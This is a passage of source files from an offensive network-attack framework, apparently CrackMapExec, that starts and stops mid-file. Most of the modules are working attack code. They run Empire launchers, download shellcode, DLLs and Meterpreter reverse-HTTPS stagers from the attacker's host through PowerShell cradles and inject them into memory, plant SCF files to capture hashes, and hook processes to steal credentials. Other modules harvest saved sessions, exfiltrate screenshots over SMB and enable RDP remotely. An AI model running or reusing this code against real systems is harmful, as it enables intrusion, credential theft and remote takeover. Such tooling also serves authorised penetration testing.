64 | if _access_check(cmd, mode):
65 | return cmd
66 | return None
67 |
68 | if path is None:
69 | path = os.environ.get("PATH", os.defpath)
70 | if not path:
71 | return None
72 | path = path.split(os.pathsep)
73 |
74 | files = [cmd]
75 |
76 | seen = set()
77 | for dir in path:
78 | normdir = os.path.normcase(dir)
79 | if normdir not in seen:
80 | seen.add(normdir)
81 | for thefile in files:
82 | name = os.path.join(dir, thefile)
83 | if _access_check(name, mode):
84 | return name
85 | return None
86 |
--------------------------------------------------------------------------------
/cme/modules/empire_exec.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import requests
3 | from requests import ConnectionError
4 |
5 | #The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
8 |
9 | class CMEModule:
10 | '''
11 | Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
12 | Module by @byt3bl33d3r
13 | '''
14 |
15 | name='empire_exec'
16 | description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
17 | supported_protocols = ['smb', 'mssql']
18 | opsec_safe = True
19 | multiple_hosts = True
20 |
21 | def options(self, context, module_options):
22 | '''
23 | LISTENER Listener name to generate the launcher for
24 | '''
25 |
26 | if not 'LISTENER' in module_options:
27 | context.log.error('LISTENER option is required!')
28 | sys.exit(1)
29 |
30 | self.empire_launcher = None
31 |
32 | headers = {'Content-Type': 'application/json'}
33 | #Pull the host and port from the config file
34 | base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
35 |
36 | try:
37 | #Pull the username and password from the config file
38 | payload = {'username': context.conf.get('Empire', 'username'),
39 | 'password': context.conf.get('Empire', 'password')}
40 |
41 | r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
42 | if r.status_code == 200:
43 | token = r.json()['token']
44 | else:
45 | context.log.error("Error authenticating to Empire's RESTful API server!")
46 | sys.exit(1)
47 |
48 | payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']}
49 | r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
50 |
51 | response = r.json()
52 | if "error" in response:
53 | context.log.error("Error from empire : {}".format(response["error"]))
54 | sys.exit(1)
55 |
56 | self.empire_launcher = response['multi/launcher']['Output']
57 |
58 | context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
59 |
60 | except ConnectionError as e:
61 | context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
62 | sys.exit(1)
63 |
64 | def on_admin_login(self, context, connection):
65 | if self.empire_launcher:
66 | connection.execute(self.empire_launcher)
67 | context.log.success('Executed Empire Launcher')
68 |
--------------------------------------------------------------------------------
/cme/modules/scuffy.py:
--------------------------------------------------------------------------------
1 | import os
2 | import ntpath
3 |
4 | from sys import exit
5 |
6 | class CMEModule:
7 | '''
8 | Original idea and PoC by Mubix "Rob" Fuller
9 | URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/
10 | Module by: @kierangroome
11 | '''
12 |
13 | name = 'scuffy'
14 | description = 'Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares'
15 | supported_protocols = ['smb']
16 | opsec_safe= False
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | SERVER IP of the SMB server
22 | NAME SCF file name
23 | CLEANUP Cleanup (choices: True or False)
24 | '''
25 |
26 | self.cleanup = False
27 |
28 | if 'CLEANUP' in module_options:
29 | self.cleanup = bool(module_options['CLEANUP'])
30 |
31 | if 'NAME' not in module_options:
32 | context.log.error('NAME option is required!')
33 | exit(1)
34 |
35 | if not self.cleanup and 'SERVER' not in module_options:
36 | context.log.error('SERVER option is required!')
37 | exit(1)
38 |
39 | self.scf_name = module_options['NAME']
40 | self.scf_path = '/tmp/{}.scf'.format(self.scf_name)
41 | self.file_path = ntpath.join('\\', '{}.scf'.format(self.scf_name))
42 |
43 | if not self.cleanup:
44 | self.server = module_options['SERVER']
45 | scuf = open(self.scf_path, 'a');
46 | scuf.write("[Shell]" + '\n');
47 | scuf.write("Command=2" + '\n');
48 | scuf.write("IconFile=" + '\\\\{}\\share\\icon.ico'.format(self.server) + '\n');
49 | scuf.close();
50 |
51 | def on_login(self, context, connection):
52 | shares = connection.shares()
53 | for share in shares:
54 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
55 | #print share
56 | context.log.success('Found writable share: {}'.format(share['name']))
57 | if not self.cleanup:
58 | with open(self.scf_path, 'rb') as scf:
59 | try:
60 | connection.conn.putFile(share['name'], self.file_path, scf.read)
61 | context.log.success('Created SCF file on the {} share'.format(share['name']))
62 | except Exception as e:
63 | context.log.error('Error writing SCF file to share {}: {}'.format(share['name']))
64 | else:
65 | try:
66 | connection.conn.deleteFile(share['name'], self.file_path)
67 | context.log.success('Deleted SCF file on the {} share'.format(share['name']))
68 | except Exception as e:
69 | context.log.error('Error deleting SCF file on share {}: {}'.format(share['name'], e))
70 |
--------------------------------------------------------------------------------
/cme/modules/shellcode_inject.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from sys import exit
3 | import os
4 |
5 | class CMEModule:
6 | '''
7 | Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
8 | Module by @byt3bl33d3r
9 | '''
10 | name = 'shellcode_inject'
11 | description = "Downloads the specified raw shellcode and injects it into memory"
12 | supported_protocols = ['mssql', 'smb']
13 | opsec_safe = True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | PATH Path to the file containing raw shellcode to inject
19 | PROCID Process ID to inject into (default: current powershell process)
20 | '''
21 |
22 | if not 'PATH' in module_options:
23 | context.log.error('PATH option is required!')
24 | exit(1)
25 |
26 | self.shellcode_path = os.path.expanduser(module_options['PATH'])
27 | if not os.path.exists(self.shellcode_path):
28 | context.log.error('Invalid path to shellcode!')
29 | exit(1)
30 |
31 | self.procid = None
32 |
33 | if 'PROCID' in module_options.keys():
34 | self.procid = module_options['PROCID']
35 |
36 | self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1')
37 |
38 | def on_admin_login(self, context, connection):
39 |
40 | payload = """
41 | $WebClient = New-Object System.Net.WebClient;
42 | [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
43 | Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
44 | port=context.server_port,
45 | addr=context.localip,
46 | shellcode=os.path.basename(self.shellcode_path))
47 |
48 | if self.procid:
49 | payload += ' -ProcessID {}'.format(self.procid)
50 |
51 | launcher = gen_ps_iex_cradle(context, 'Invoke-Shellcode.ps1', payload, post_back=False)
52 |
53 | connection.ps_execute(launcher, force_ps32=True)
54 | context.log.success('Executed payload')
55 |
56 | def on_request(self, context, request):
57 | if 'Invoke-Shellcode.ps1' == request.path[1:]:
58 | request.send_response(200)
59 | request.end_headers()
60 |
61 | request.wfile.write(self.ps_script)
62 |
63 | elif os.path.basename(self.shellcode_path) == request.path[1:]:
64 | request.send_response(200)
65 | request.end_headers()
66 |
67 | with open(self.shellcode_path, 'rb') as shellcode:
68 | request.wfile.write(shellcode.read())
69 |
70 | #Target has the shellcode, stop tracking the host
71 | request.stop_tracking_host()
72 |
73 | else:
74 | request.send_response(404)
75 | request.end_headers()
--------------------------------------------------------------------------------
/cme/modules/invoke_sessiongopher.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.logger import write_log
3 | from StringIO import StringIO
4 | from datetime import datetime
5 |
6 | class CMEModule:
7 | '''
8 | Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
9 | https://github.com/fireeye/SessionGopher
10 |
11 | Module by @byt3bl33d3r
12 |
13 | '''
14 |
15 | name = 'invoke_sessiongopher'
16 | description = 'Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher'
17 | supported_protocols = ['smb', 'mssql']
18 | opsec_safe= True
19 | multiple_hosts = True
20 |
21 | def options(self, context, module_options):
22 | '''
23 | THOROUGH Searches entire filesystem for certain file extensions (default: False)
24 | ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)
25 | '''
26 |
27 | self.thorough = False
28 | self.all_domain = False
29 |
30 | if 'THOROUGH' in module_options:
31 | self.thorough = bool(module_options['THOROUGH'])
32 |
33 | if 'ALLDOMAIN' in module_options:
34 | self.all_domain = bool(module_options['ALLDOMAIN'])
35 |
36 | self.ps_script2 = obfs_ps_script('sessiongopher/SessionGopher.ps1')
37 |
38 | def on_admin_login(self, context, connection):
39 | command = 'Invoke-SessionGopher'
40 | if self.thorough:
41 | command += ' -Thorough'
42 | if self.all_domain:
43 | command += ' -AllDomain'
44 |
45 | command += ' | Out-String'
46 |
47 | launcher = gen_ps_iex_cradle(context, 'SessionGopher.ps1', command)
48 |
49 | connection.ps_execute(launcher)
50 |
51 | context.log.success('Executed launcher')
52 |
53 | def on_request(self, context, request):
54 | if 'SessionGopher.ps1' == request.path[1:]:
55 | request.send_response(200)
56 | request.end_headers()
57 |
58 | request.wfile.write(self.ps_script2)
59 |
60 | else:
61 | request.send_response(404)
62 | request.end_headers()
63 |
64 | def on_response(self, context, response):
65 | response.send_response(200)
66 | response.end_headers()
67 | length = int(response.headers.getheader('content-length'))
68 | data = response.rfile.read(length)
69 |
70 | #We've received the response, stop tracking this host
71 | response.stop_tracking_host()
72 |
73 | if len(data):
74 | def print_post_data(data):
75 | buf = StringIO(data.strip()).readlines()
76 | for line in buf:
77 | context.log.highlight(line.strip())
78 |
79 | print_post_data(data)
80 |
81 | log_name = 'SessionGopher-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
82 | write_log(data, log_name)
83 | context.log.info("Saved output to {}".format(log_name))
84 |
--------------------------------------------------------------------------------
/cme/modules/netripper.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.misc import gen_random_string
3 | from cme.servers.smb import CMESMBServer
4 | from sys import exit
5 | import os
6 |
7 | class CMEModule:
8 | '''
9 | Injects NetRipper in memory using PowerShell
10 | Note: NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case
11 |
12 | Module by @byt3bl33d3r
13 | '''
14 |
15 | name = 'netripper'
16 | description = "Capture's credentials by using API hooking"
17 | supported_protocols = ['smb', 'mssql']
18 | opsec_safe = True
19 | multiple_hosts = True
20 |
21 | def options(self, context, module_options):
22 | '''
23 | PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
24 | '''
25 |
26 | self.process = None
27 |
28 | if 'PROCESS' in module_options:
29 | self.process = module_options['PROCESS']
30 | else:
31 | context.log.error('PROCESS option is required')
32 | exit(1)
33 |
34 | self.share_name = gen_random_string(5).upper()
35 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
36 | self.ps_script2 = obfs_ps_script('netripper/PowerShell/Invoke-NetRipper.ps1')
37 |
38 | context.log.info('This module will not exit until CTRL-C is pressed')
39 | context.log.info('Logs will be stored in ~/.cme/logs\n')
40 |
41 | self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
42 | self.smb_server.start()
43 |
44 | def on_admin_login(self, context, connection):
45 | log_folder = 'netripper_{}'.format(connection.host)
46 | command = 'Invoke-NetRipper -LogLocation \\\\{}\\{}\\{}\\ -ProcessName {}'.format(context.localip, self.share_name, log_folder, self.process)
47 |
48 | netripper_cmd = gen_ps_iex_cradle(context, 'Invoke-NetRipper.ps1', command, post_back=False)
49 | launcher = gen_ps_inject(netripper_cmd, context)
50 |
51 | connection.ps_execute(launcher)
52 | context.log.success('Executed launcher')
53 |
54 | def on_request(self, context, request):
55 | if 'Invoke-PSInject.ps1' == request.path[1:]:
56 | request.send_response(200)
57 | request.end_headers()
58 |
59 | request.wfile.write(self.ps_script1)
60 |
61 | elif 'Invoke-NetRipper.ps1' == request.path[1:]:
62 | request.send_response(200)
63 | request.end_headers()
64 |
65 | #We received the callback, so lets setup the folder to store the screenshots
66 | log_folder_path = os.path.join(context.log_folder_path, 'netripper_{}'.format(request.client_address[0]))
67 | if not os.path.exists(log_folder_path): os.mkdir(log_folder_path)
68 |
69 | request.wfile.write(self.ps_script2)
70 |
71 | else:
72 | request.send_response(404)
73 | request.end_headers()
74 |
75 | def on_shutdown(self, context):
76 | self.smb_server.shutdown()
--------------------------------------------------------------------------------
/cme/modules/rdp.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
2 | from impacket.dcerpc.v5 import rrp
3 | from impacket.examples.secretsdump import RemoteOperations
4 | from sys import exit
5 |
6 | class CMEModule:
7 |
8 | name = 'rdp'
9 | description = 'Enables/Disables RDP'
10 | supported_protocols = ['smb']
11 | opsec_safe = True
12 | multiple_hosts = True
13 |
14 | def options(self, context, module_options):
15 | '''
16 | ACTION Enable/Disable RDP (choices: enable, disable)
17 | '''
18 |
19 | if not 'ACTION' in module_options:
20 | context.log.error('ACTION option not specified!')
21 | exit(1)
22 |
23 | if module_options['ACTION'].lower() not in ['enable', 'disable']:
24 | context.log.error('Invalid value for ACTION option!')
25 | exit(1)
26 |
27 | self.action = module_options['ACTION'].lower()
28 |
29 | def on_admin_login(self, context, connection):
30 | if self.action == 'enable':
31 | self.rdp_enable(context, connection.conn)
32 | elif self.action == 'disable':
33 | self.rdp_disable(context, connection.conn)
34 |
35 | def rdp_enable(self, context, smbconnection):
36 | remoteOps = RemoteOperations(smbconnection, False)
37 | remoteOps.enableRegistry()
38 |
39 | if remoteOps._RemoteOperations__rrp:
40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
41 | regHandle = ans['phKey']
42 |
43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
44 | keyHandle = ans['phkResult']
45 |
46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0)
47 |
48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
49 |
50 | if int(data) == 0:
51 | context.log.success('RDP enabled successfully')
52 |
53 | try:
54 | remoteOps.finish()
55 | except:
56 | pass
57 |
58 | def rdp_disable(self, context, smbconnection):
59 | remoteOps = RemoteOperations(smbconnection, False)
60 | remoteOps.enableRegistry()
61 |
62 | if remoteOps._RemoteOperations__rrp:
63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
64 | regHandle = ans['phKey']
65 |
66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
67 | keyHandle = ans['phkResult']
68 |
69 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1)
70 |
71 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
72 |
73 | if int(data) == 1:
74 | context.log.success('RDP disabled successfully')
75 |
76 | try:
77 | remoteOps.finish()
78 | except:
79 | pass
80 |
--------------------------------------------------------------------------------
/cme/modules/pe_inject.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from sys import exit
3 | import os
4 |
5 | class CMEModule:
6 | '''
7 | Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
8 | Module by @byt3bl33d3r
9 | '''
10 | name = 'pe_inject'
11 | description = "Downloads the specified DLL/EXE and injects it into memory"
12 | supported_protocols = ['smb', 'mssql']
13 | opsec_safe = True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | PATH Path to dll/exe to inject
19 | PROCID Process ID to inject into (default: current powershell process)
20 | EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
21 | '''
22 |
23 | if not 'PATH' in module_options:
24 | context.log.error('PATH option is required!')
25 | exit(1)
26 |
27 | self.payload_path = os.path.expanduser(module_options['PATH'])
28 | if not os.path.exists(self.payload_path):
29 | context.log.error('Invalid path to EXE/DLL!')
30 | exit(1)
31 |
32 | self.procid = None
33 | self.exeargs = None
34 |
35 | if 'PROCID' in module_options:
36 | self.procid = module_options['PROCID']
37 |
38 | if 'EXEARGS' in module_options:
39 | self.exeargs = module_options['EXEARGS']
40 |
41 | self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-ReflectivePEInjection.ps1')
42 |
43 | def on_admin_login(self, context, connection):
44 |
45 | payload = """
46 | $WebClient = New-Object System.Net.WebClient;
47 | [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
48 | Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
49 | port=context.server_port,
50 | addr=context.localip,
51 | pefile=os.path.basename(self.payload_path))
52 |
53 | if self.procid:
54 | payload += ' -ProcessID {}'.format(self.procid)
55 |
56 | if self.exeargs:
57 | payload += ' -ExeArgs "{}"'.format(self.exeargs)
58 |
59 | launcher = gen_ps_iex_cradle(context, 'Invoke-ReflectivePEInjection.ps1', payload, post_back=False)
60 |
61 | connection.ps_execute(launcher, force_ps32=True)
62 | context.log.success('Executed payload')
63 |
64 | def on_request(self, context, request):
65 | if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
66 | request.send_response(200)
67 | request.end_headers()
68 |
69 | request.wfile.write(self.ps_script)
70 |
71 | elif os.path.basename(self.payload_path) == request.path[1:]:
72 | request.send_response(200)
73 | request.end_headers()
74 |
75 | request.stop_tracking_host()
76 |
77 | with open(self.payload_path, 'rb') as payload:
78 | request.wfile.write(payload.read())
79 |
80 | else:
81 | request.send_response(404)
82 | request.end_headers()
--------------------------------------------------------------------------------
/cme/modules/met_inject.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from sys import exit
3 |
4 | class CMEModule:
5 | '''
6 | Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
7 | Module by @byt3bl33d3r
8 | '''
9 | name = 'met_inject'
10 | description = "Downloads the Meterpreter stager and injects it into memory"
11 | supported_protocols = ['smb', 'mssql']
12 | opsec_safe = True
13 | multiple_hosts = True
14 |
15 | def options(self, context, module_options):
16 | '''
17 | LHOST IP hosting the handler
18 | LPORT Handler port
19 | PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
20 | PROCID Process ID to inject into (default: current powershell process)
21 | '''
22 |
23 | self.met_payload = 'reverse_https'
24 | self.procid = None
25 |
26 | if not 'LHOST' in module_options or not 'LPORT' in module_options:
27 | context.log.error('LHOST and LPORT options are required!')
28 | exit(1)
29 |
30 | if 'PAYLOAD' in module_options:
31 | self.met_payload = module_options['PAYLOAD']
32 |
33 | if 'PROCID' in module_options:
34 | self.procid = module_options['PROCID']
35 |
36 | self.lhost = module_options['LHOST']
37 | self.lport = module_options['LPORT']
38 |
39 | self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1')
40 |
41 | def on_admin_login(self, context, connection):
42 | #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
43 | #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
44 |
45 | payload = """$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
46 | $SumTest = $False
47 | while ($SumTest -eq $False)
48 | {{
49 | $GeneratedUri = $CharArray | Get-Random -Count 4
50 | $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
51 | }}
52 | $RequestUri = -join $GeneratedUri
53 | $Request = "{}://{}:{}/$($RequestUri)"
54 | $WebClient = New-Object System.Net.WebClient
55 | [Byte[]]$bytes = $WebClient.DownloadData($Request)
56 | Invoke-Shellcode -Force -Shellcode $bytes""".format('http' if self.met_payload == 'reverse_http' else 'https',
57 | self.lhost,
58 | self.lport)
59 |
60 | if self.procid:
61 | payload += " -ProcessID {}".format(self.procid)
62 |
63 | launcher = gen_ps_iex_cradle(context, 'Invoke-Shellcode.ps1', payload, post_back=False)
64 |
65 | connection.ps_execute(launcher, force_ps32=True)
66 | context.log.success('Executed payload')
67 |
68 | def on_request(self, context, request):
69 | if 'Invoke-Shellcode.ps1' == request.path[1:]:
70 | request.send_response(200)
71 | request.end_headers()
72 | request.wfile.write(self.ps_script)
73 | request.stop_tracking_host()
74 | else:
75 | request.send_response(404)
76 | request.end_headers()
--------------------------------------------------------------------------------
/cme/protocols/ssh.py:
--------------------------------------------------------------------------------
1 | import paramiko
2 | import socket
3 | from cme.connection import *
4 | from cme.helpers.logger import highlight
5 | from cme.logger import CMEAdapter
6 | from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException
7 | from ConfigParser import ConfigParser
8 |
9 |
10 | class ssh(connection):
11 |
12 | @staticmethod
13 | def proto_args(parser, std_parser, module_parser):
14 | ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser])
15 | #ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key")
16 | ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
17 |
18 | cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
19 | cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
20 | cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
21 |
22 | return parser
23 |
24 | def proto_logger(self):
25 | self.logger = CMEAdapter(extra={'protocol': 'SSH',
26 | 'host': self.host,
27 | 'port': self.args.port,
28 | 'hostname': self.hostname})
29 |
30 | def print_host_info(self):
31 | self.logger.info(self.remote_version)
32 |
33 | def enum_host_info(self):
34 | self.remote_version = self.conn._transport.remote_version
35 |
36 | def create_conn_obj(self):
37 | self.conn = paramiko.SSHClient()
38 | self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
39 |
40 | try:
41 | self.conn.connect(self.host, port=self.args.port)
42 | except AuthenticationException:
43 | return True
44 | except SSHException:
45 | return True
46 | except NoValidConnectionsError:
47 | return False
48 | except socket.error:
49 | return False
50 |
51 | def check_if_admin(self):
52 | stdin, stdout, stderr = self.conn.exec_command('id')
53 | if stdout.read().find('uid=0(root)') != -1:
54 | self.admin_privs = True
55 |
56 | def plaintext_login(self, username, password):
57 | try:
58 | self.conn.connect(self.host, port=self.args.port, username=username, password=password)
59 | self.check_if_admin()
60 |
61 | self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'),
62 | password.decode('utf-8'),
63 | highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
64 |
65 | return True
66 | except Exception as e:
67 | self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'),
68 | password.decode('utf-8'),
69 | e))
70 |
71 | return False
72 |
73 | def execute(self, payload=None, get_output=False):
74 | stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
75 | self.logger.success('Executed command')
76 | for line in stdout:
77 | self.logger.highlight(line.decode('utf-8').strip())
78 |
79 | return stdout
80 |
--------------------------------------------------------------------------------
/cme/protocols/http/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 |
3 |
4 | class navigator(DatabaseNavigator):
5 |
6 | def display_creds(self, creds):
7 | data = [['CredID', 'URL', 'UserName', 'Password']]
8 | for cred in creds:
9 | credID = cred[0]
10 | url = cred[2]
11 | username = cred[3]
12 | password = cred[4]
13 |
14 | # links = self.db.get_links(credID=credID)
15 |
16 | data.append([credID, url.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')])
17 |
18 | self.print_table(data, title='Credential(s)')
19 |
20 | def display_hosts(self, hosts):
21 | # print "\nHosts:\n"
22 | # print " HostID IP Hostname Port Title URL"
23 | return
24 |
25 | def do_creds(self, line):
26 |
27 | filterTerm = line.strip()
28 |
29 | if filterTerm == "":
30 | creds = self.db.get_credentials()
31 | self.display_creds(creds)
32 |
33 | elif filterTerm.split()[0].lower() == "add":
34 |
35 | args = filterTerm.split()[1:]
36 |
37 | if len(args) == 3:
38 | url, username, password = args
39 | self.db.add_credential(url, username, password)
40 |
41 | else:
42 | print "[!] Format is 'add url username password"
43 | return
44 |
45 | elif filterTerm.split()[0].lower() == "remove":
46 |
47 | args = filterTerm.split()[1:]
48 | if len(args) != 1 :
49 | print "[!] Format is 'remove '"
50 | return
51 | else:
52 | self.db.remove_credentials(args)
53 | self.db.remove_links(credIDs=args)
54 |
55 | else:
56 | creds = self.db.get_credentials(filterTerm=filterTerm)
57 | self.display_creds(creds)
58 |
59 | def do_hosts(self, line):
60 |
61 | filterTerm = line.strip()
62 |
63 | if filterTerm == "":
64 | creds = self.db.get_hosts()
65 | self.display_creds(creds)
66 |
67 | elif filterTerm.split()[0].lower() == "add":
68 |
69 | args = filterTerm.split()[1:]
70 |
71 | if len(args) == 3:
72 | return
73 | # url, username, password = args
74 | # self.db.add_host()
75 |
76 | else:
77 | print "[!] Format is 'add url ip hostname port"
78 | return
79 |
80 | elif filterTerm.split()[0].lower() == "remove":
81 |
82 | args = filterTerm.split()[1:]
83 | if len(args) != 1 :
84 | print "[!] Format is 'remove '"
85 |
86 | return
87 | # self.db.remove_host()
88 |
89 | else:
90 | hosts = self.db.get_hosts(filterTerm=filterTerm)
91 | self.display_hosts(hosts)
92 |
93 | def complete_creds(self, text, line, begidx, endidx):
94 | "Tab-complete 'creds' commands."
95 |
96 | commands = ["add", "remove"]
97 |
98 | mline = line.partition(' ')[2]
99 | offs = len(mline) - len(text)
100 | return [s[offs:] for s in commands if s.startswith(mline)]
101 |
102 | def complete_hosts(self, text, line, begidx, endidx):
103 | "Tab-complete 'hosts' commands."
104 |
105 | commands = ["add", "remove"]
106 |
107 | mline = line.partition(' ')[2]
108 | offs = len(mline) - len(text)
109 | return [s[offs:] for s in commands if s.startswith(mline)]
110 |
--------------------------------------------------------------------------------
/cme/modules/get_timedscreenshot.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.misc import gen_random_string
3 | from cme.servers.smb import CMESMBServer
4 | from sys import exit
5 | import os
6 |
7 | class CMEModule:
8 | '''
9 | Executes PowerSploit's Get-TimedScreenshot script
10 | Module by @byt3bl33d3r
11 | '''
12 |
13 | name = 'get_timedscreenshot'
14 | description = "Takes screenshots at a regular interval"
15 | supported_protocols = ['smb', 'mssql']
16 | opsec_safe = True
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | INTERVAL Specifies the interval in seconds between taking screenshots.
22 | ENDTIME Specifies when the script should stop running in the format HH:MM (Military Time).
23 | '''
24 |
25 | if 'INTERVAL' not in module_options:
26 | context.log.error('INTERVAL option is required!')
27 | exit(1)
28 |
29 | if 'ENDTIME' not in module_options:
30 | context.log.error('ENDTIME option is required!')
31 | exit(1)
32 |
33 | self.interval = int(module_options['INTERVAL'])
34 | self.endtime = module_options['ENDTIME']
35 | self.share_name = gen_random_string(5).upper()
36 |
37 | context.log.info('This module will not exit until CTRL-C is pressed')
38 | context.log.info('Screenshots will be stored in ~/.cme/logs\n')
39 |
40 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
41 | self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1')
42 |
43 | self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
44 | self.smb_server.start()
45 |
46 | def on_admin_login(self, context, connection):
47 | screen_folder = 'get_timedscreenshot_{}'.format(connection.host)
48 | screen_command = 'Get-TimedScreenshot -Path \\\\{}\\{}\\{} -Interval {} -EndTime {}'.format(context.localip, self.share_name,
49 | screen_folder, self.interval,
50 | self.endtime)
51 | screen_command = gen_ps_iex_cradle(context, 'Get-TimedScreenshot.ps1',
52 | screen_command, post_back=False)
53 |
54 | launcher = gen_ps_inject(screen_command, context)
55 |
56 | connection.ps_execute(launcher)
57 | context.log.success('Executed launcher')
58 |
59 | def on_request(self, context, request):
60 | if 'Invoke-PSInject.ps1' == request.path[1:]:
61 | request.send_response(200)
62 | request.end_headers()
63 |
64 | request.wfile.write(self.ps_script1)
65 |
66 | elif 'Get-TimedScreenshot.ps1' == request.path[1:]:
67 | request.send_response(200)
68 | request.end_headers()
69 |
70 | #We received the callback, so lets setup the folder to store the screenshots
71 | screen_folder_path = os.path.join(context.log_folder_path, 'get_timedscreenshot_{}'.format(request.client_address[0]))
72 | if not os.path.exists(screen_folder_path): os.mkdir(screen_folder_path)
73 | #context.log.success('Storing screenshots in {}'.format(screen_folder_path))
74 |
75 | request.wfile.write(self.ps_script2)
76 |
77 | else:
78 | request.send_response(404)
79 | request.end_headers()
80 |
81 | def on_shutdown(self, context):
82 | self.smb_server.shutdown()
--------------------------------------------------------------------------------
/cme/modules/get_netdomaincontroller.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.logger import write_log, highlight
3 | from datetime import datetime
4 | from StringIO import StringIO
5 |
6 | class CMEModule:
7 |
8 | name = 'get_netdomaincontroller'
9 | description = "Enumerates all domain controllers"
10 | supported_protocols = ['smb', 'mssql']
11 | opsec_safe = True
12 | multiple_hosts = False
13 |
14 | def options(self, context, module_options):
15 | '''
